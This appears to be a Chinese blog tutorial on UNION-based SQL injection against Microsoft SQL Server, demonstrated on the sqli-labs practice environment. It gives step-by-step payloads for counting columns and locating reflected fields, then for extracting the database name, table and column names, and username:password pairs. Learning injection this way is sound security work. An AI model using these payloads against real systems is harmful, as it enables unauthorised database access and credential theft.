SQL Server从0到1——利用方式

union注入

查看字段数:

order by 3

原理

如果字段数超过输出的字段数就会报错,通过报错来确定有几个字段 下面以mssql sqli labs为例:

判断出有3个字段 查看回显位置:

union select 1,2,3

可以判断有回显的字段未2,3字段

 

爆库名:

union select 1,(select db_name()),3--+

爆表名:

union all select 1,(select top 1 name from test.dbo.sysobjects where xtype = 'U'),3--+

 

union all select 1,(select top 1 name from test.dbo.sysobjects where xtype='U' and name not in ('emalis')),3--+

爆列名:

union select 1,(select top 1 name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name = 'users') and name<>'id'),3--+

union select 1,(select top 1 name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where name = 'users' ) and name not in('id','username')),3--+

 

爆数据:

union select 1,2,(select top 1 username%2B':'%2Bpassword from test.dbo.users)--+
如果要直接使用+号需要进行url编码%2B,不然会被解析为空格,--+中的+就是空格

相关推荐

  1. 01实现YOLOv3

    2024-01-03 10:38:05       31 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-03 10:38:05       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-03 10:38:05       100 阅读
  3. 在Django里面运行非项目文件

    2024-01-03 10:38:05       82 阅读
  4. Python语言-面向对象

    2024-01-03 10:38:05       91 阅读

热门阅读

  1. mysql查询

    2024-01-03 10:38:05       48 阅读
  2. Python comp233

    2024-01-03 10:38:05       57 阅读
  3. 云原生周刊:2024 扩展 K8s 集群指南 | 2024.1.2

    2024-01-03 10:38:05       63 阅读
  4. html渲染优先级

    2024-01-03 10:38:05       58 阅读
  5. 神经网络——torch.optim优化器的使用

    2024-01-03 10:38:05       54 阅读
  6. List 删除 null 和 空值

    2024-01-03 10:38:05       64 阅读
  7. yolov8 速度测试

    2024-01-03 10:38:05       49 阅读